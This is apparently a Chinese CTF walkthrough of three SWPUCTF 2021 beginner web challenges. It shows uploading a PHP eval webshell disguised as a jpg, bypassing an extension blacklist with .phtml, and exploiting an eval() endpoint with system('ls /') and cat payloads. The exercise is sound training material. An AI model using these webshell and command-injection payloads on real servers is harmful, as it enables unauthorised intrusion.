7.[SWPUCTF 2021 新生赛]easyupload1.0
打开题目
根据题目提示,让我们上传一个jpg文件,然后就写一个普通的一句话木马修改成jpg上传
之后利用bp抓包,找到filename,修改为a.php
然后直接forward,上传成功
告诉我们上传成功,用菜刀或者蚁剑连接一下
连接成功,开始找flag,没有在根目录下面,不对劲,之后找到了flag.php
是假的,提交不上去。只能想点其他办法了。
之后想着连接看一下这个题目是不是在内部隐藏信息了,用hackbar进行post请求一下
phpinfo函数的作用是输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
连接到上传木马的地址,打开之后,搜索NSSCTF,找到flag:NSSCTF{01dbffda-0970-47a4-9fd9-d3bd5fd219e1}
8.[SWPUCTF 2021 新生赛]easyupload2.0
打开题目。
按照要求上传后缀为jpg的一句话木马:<?php @eval($_REQUEST['wz']);?>
然后打开代理,利用bp进行抓包,修改filename,常规还是改成php。
发现没有上传成功。
我们需要了解一些知识。
后缀名:黑名单、白名单
黑名单:明确不让上传的格式后缀,比如asp、php、jsp、aspx、cgi、war等,但是黑名单易被绕过,比如上传ph5.phtml php php3 php2 php1 等
白名单:明确可以上传的格式后缀,比如jpg、png、zip、rar、gif等,推荐白名单
利用黑名单绕过,改一下filename的文件后缀名为phtml,放包上传成功。
用蚁剑测试连接
成功之后,在目录下面找到flag:NSSCTF{0aaff526-fdd3-4822-af56-ede53c6d2c9e}
9.[SWPUCTF 2021 新生赛]easyrce
打开题目,看到这个源代码
分析一下:
1. 屏蔽所有报错信息的函数。
error_reporting(0);
2. 对文件进行语法高亮显示的函数。
highlight_file();
3. 环境中重要的代码段。
if(isset($_GET['url']))
#isset函数用来检测url变量是否存在;$_GET函数获取变量数据
{
eval($_GET['url']);
#eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。
}
然后开始想解题思路。这个if判断语句告诉我们,如果存在url变量则往下面执行eval函数,执行参数并且返回结果。
这里我们需要用到执行外部命令函数(有四种方法):
知识补充:
1. exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
#示例代码:
<?php
echo exec("ls",$file);
echo "</br>";
`print_r($file);`
?>
#输出结果:
test.php
Array( [0] => index.php [1] => test.php)
2. passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
#示例代码:
<?php
passthru("ls");
?>
#输出结果:
index.phptest.php
3. system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。
#示例代码:
<?php
system("ls /");
?>
#输出结果:
binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
4. 反撇号和shell_exec()函数实际上仅是反撇号 (`) 操作符的变体。
#示例代码:
<?php
echo `pwd`;
?>
#输出结果:
/var/www/html
四种方法参考地址:https://www.cnblogs.com/gaohj/p/3267692.html
我们这道题使用方法三system去做
1. 首先构造payload,并进行url地址重放:
?url=system("ls /");
#?代表拼接
#ls /代表列出目录文件,学过Linux系统的大部分都有所了解。
#代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。
#注意以;英文分号进行闭合。
回显结果:
bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
#发现除了flllllaaaaaaggggggg文件以外都为目录文件,所以猜测flllllaaaaaaggggggg文件中可能包含flag信息。
需注意的是:
?url=system("ls /"); > ?url=system("ls%20/");
#我们的代码重放后发生了变化,是因为重放后浏览器自动进行了url编码!
2.使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:
?url=system("cat /flllllaaaaaaggggggg");
3、进行重放回显flag